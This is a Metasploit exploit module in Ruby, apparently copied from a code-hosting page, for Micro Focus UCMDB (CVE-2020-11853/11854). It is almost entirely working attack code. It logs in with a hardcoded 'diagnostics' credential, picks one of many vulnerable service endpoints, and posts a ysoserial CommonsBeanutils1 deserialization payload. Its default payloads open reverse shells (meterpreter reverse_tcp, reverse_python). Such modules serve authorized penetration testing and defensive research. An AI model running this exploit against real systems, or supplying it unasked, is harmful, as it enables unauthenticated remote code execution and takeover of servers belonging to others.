185 lines
6.2 KiB
Ruby
185 lines
6.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::JavaDeserialization
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits two vulnerabilities, that when chained allow an attacker
|
|
to achieve unauthenticated remote code execution in Micro Focus UCMDB.
|
|
UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
|
|
but this module can probably also be used to exploit Operations Bridge Manager
|
|
(containerized) and Application Performance Management.
|
|
Check the advisory and module documentation for details.
|
|
The first vulnerability is a hardcoded password for the "diagnostics" user, which
|
|
allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
|
|
deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
|
|
Both Windows and Linux installations are vulnerable.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
|
|
[ 'CVE', '2020-11853'],
|
|
[ 'CVE', '2020-11854'],
|
|
[ 'ZDI', '20-1287'],
|
|
[ 'ZDI', '20-1288'],
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => %w[unix win],
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 15
|
|
},
|
|
# unfortunately could not find a way to determine target automatically
|
|
'Targets' => [
|
|
[
|
|
'Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'DefaultOptions' =>
|
|
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
|
},
|
|
],
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' =>
|
|
{ 'PAYLOAD' => 'cmd/unix/reverse_python' }
|
|
},
|
|
]
|
|
],
|
|
'DisclosureDate' => '2020-10-28',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8443),
|
|
OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
|
|
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
|
|
'method' => 'GET'
|
|
})
|
|
if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
|
|
if res.body.include?('ServerVersion=11.6.0')
|
|
# 100% sure this version is vulnerable
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Attacking #{target.name} target")
|
|
|
|
# First, let's authenticate
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'customerID' => '1',
|
|
'isEncoded' => 'false',
|
|
'userName' => 'diagnostics',
|
|
'password' => 'YWRtaW4=',
|
|
'ldapServerName' => 'UCMDB'
|
|
}
|
|
})
|
|
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
|
|
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
|
|
end
|
|
cookies = res.get_cookies
|
|
print_good("#{peer} - Succesfully authenticated and obtained our cookie!")
|
|
|
|
# Now let's pick a random service since we have so many to choose from :D
|
|
vuln_service = [
|
|
'services/CmdbOperationExecuterService',
|
|
'services/CategoryFacadeForGui',
|
|
'services/CorrelationFacadeForGui',
|
|
'services/CorrelationRunnerFacade',
|
|
'services/PackageFacadeForGui',
|
|
'services/SchedulerFacadeForGui',
|
|
'services/FoldersFacade',
|
|
'services/BusinessModelFacadeForGui',
|
|
'services/WatchServerAPI',
|
|
'services/TopologyService',
|
|
'services/ReportService',
|
|
'services/CMSImagesService',
|
|
'services/PatternService',
|
|
'services/FolderService',
|
|
'services/RelatedCIsService',
|
|
'services/MailService',
|
|
'services/DiscoveryService',
|
|
'services/ServiceDiscoveryService',
|
|
'services/SoftwareLibraryService',
|
|
'services/DataAcquisitionService',
|
|
'services/CIService',
|
|
'services/HistoryService',
|
|
'services/BundleService',
|
|
'services/LocationService',
|
|
'services/SchedulerService',
|
|
'services/ImpactService',
|
|
'services/CommonService',
|
|
'services/PermissionsService',
|
|
'services/ClassModelService',
|
|
'services/SnapshotService',
|
|
'services/LDAPService',
|
|
'services/CITService',
|
|
'services/MultiTenancyService',
|
|
'services/SecurityService',
|
|
'services/ResourceManagementService',
|
|
'services/AutomationMappingService',
|
|
'services/LicensingService',
|
|
'services/GenericAdapterService'
|
|
].sample
|
|
|
|
# Simple as
|
|
java_payload = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)
|
|
|
|
print_status("#{peer} - Sending payload to /#{vuln_service}")
|
|
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
|
|
'method' => 'POST',
|
|
'cookie' => cookies,
|
|
'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
|
|
'data' => java_payload
|
|
})
|
|
|
|
if res && res.code == 500
|
|
print_good("#{peer} - Success, shell incoming!")
|
|
handler
|
|
else
|
|
print_error("#{peer} - Something failed, try again?")
|
|
end
|
|
end
|
|
end
|